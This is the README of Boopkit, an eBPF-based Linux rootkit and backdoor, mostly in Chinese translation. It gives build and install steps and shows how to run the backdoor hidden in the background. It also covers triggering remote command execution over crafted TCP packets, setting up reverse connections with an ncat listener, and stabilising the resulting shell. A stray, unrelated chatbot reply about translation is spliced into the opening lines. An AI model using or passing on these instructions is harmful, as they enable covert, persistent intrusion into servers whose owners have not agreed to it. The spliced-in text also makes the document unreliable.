Linux eBPF backdoor over TCP. Spawn reverse shells, RCE, on prior privileged access. Less Honkin, More Tonkin.
当然,我会按照您的要求进行翻译。请您提供需要翻译的文本内容。
================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗
██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║
██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║
██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
Author: Kris Nóva <kris@nivenly.com> Version 1.4.0
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES.
DO NOT ATTEMPT TO USE THE TOOLS TO VIOLATE THE LAW.
THE AUTHOR IS NOT RESPONSIBLE FOR ANY ILLEGAL ACTION.
MISUSE OF THE SOFTWARE, INFORMATION, OR SOURCE CODE
MAY RESULT IN CRIMINAL CHARGES.
Use at your own risk.
================================================================
Boopkit.
Linux rootkit and backdoor. Built using eBPF.
Usage:
boopkit [options]
Options:
-h, help Display help and usage for boopkit.
-i, interface Interface name. lo, eth0, wlan0, etc
-s, sudo-bypass Bypass sudo check. Breaks PID obfuscation.
-r, reverse-conn Attempt a reverse RCE lookup if no payload found.
-q, quiet Disable output.
-x, reject Source addresses to reject triggers from.
Linux后门、rootkit以及eBPF绕过工具。 通过原始TCP进行远程命令执行。
- 在Linux内核5.16上进行了测试
- 在Linux内核5.17上进行了测试
- 通过TCP进行远程代码执行(SSH、Nginx、Kubernetes等)
- 网络网关绕过(校验和错误、TCP重置)
- 运行时自我混淆(eBPF进程隐藏)
免责声明
这不是一个漏洞利用!这需要先在服务器上获得权限才能正常工作! 我是一名专业的安全研究员。这些都是用于研究目的的白色帽子工具。 请负责任地使用。切勿非法使用此软件。

服务器端
下载并构建boopkit。
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make install
在前台运行 boopkit。
# Reject all boops on localhost and 10.0.0.1
boopkit -x 127.0.0.1 -x 10.0.0.1
在后台以静默模式运行 boopkit。
# Danger! This can be VERY hard to stop! Run this at your own risk!
boopkit -q &
Boopkit 现已运行,并可以通过使用客户端命令行工具 boopkit-boop 进行利用。
客户端
下载并构建 Boopkit。
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz
cd boopkit-1.2.0/
make
sudo make install
在服务器上运行 boopkit-boop。
# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
-lhost $LHOST \
-lport $LPORT \
-rhost $RHOST \
-rport $RPORT \
-c "$RCE"
轻触矢量
Boopkit 会对网络上的各种事件作出响应。这两种事件都可以通过 boopkit-boop 工具来触发。
TCP 头部格式。摘自 RFC 793。1981年9月。
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{ data }
{ .... }
{ data }
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1. 错误校验和
首先,boopkit-boop 工具将通过 SOCK_RAW 套接字向服务器发送一个带有空校验和的格式错误的 TCP SYN 数据包。这将远程触发 boopkit,而无需考虑服务器上正在运行哪些 TCP 服务。此方法适用于运行 boopkit 的任何 Linux 服务器,无论 TCP 服务状态如何。
使用 boopkit-boop 的 -p 选项,仅采用这种第一种攻击向量。
⚠️ 一些现代网络硬件将会丢弃所有格式错误的校验和包,例如使用此向量利用 boopkit 所需的包!
2. 发送 ACK-RST 数据包
接下来,boopkit-boop 工具将使用 SOCK_STREAM 套接字与远程 TCP 服务(如 SSH、Kubernetes、Nginx 等)完成一个有效的 TCP 握手。初次 TCP 握手完成后,boopkit-boop 将重复该过程第二次。
第二次握手会在数据包中翻转 TCP 重置标志,并在服务器上触发 TCP 重置。
这两种战术中的任何一种都足以独立触发 boopkit。
不同的网络硬件和运行时条件将使其中一种战术更加可行。
Boopkit 默认会尝试这两种方法,并对其做出响应。
Boopscript
boopscript 文件是一个与 Metasploit 兼容的脚本,可用于在远程 Linux 机器上安装 boopkit-boop 后远程触发 boopkit 后门。
# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"
NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"
编译时依赖
- 'clang'
- 'bpftool' 用于
libbpf - 'xdp-tools' 用于
libxdp - 'llvm'
- 'pcap'
- 'lib32-glibc'
- 'bpftool' 用于
反向 Shell 稳定化
python -c "import pty; pty.spawn('/bin/bash')"
参考文献
感谢原作者们提供的有益代码示例!本项目借鉴了众多代码分支!
下载使用量
项目总下载次数(含Clone、Pull、 zip 包及 release 下载),每日凌晨更新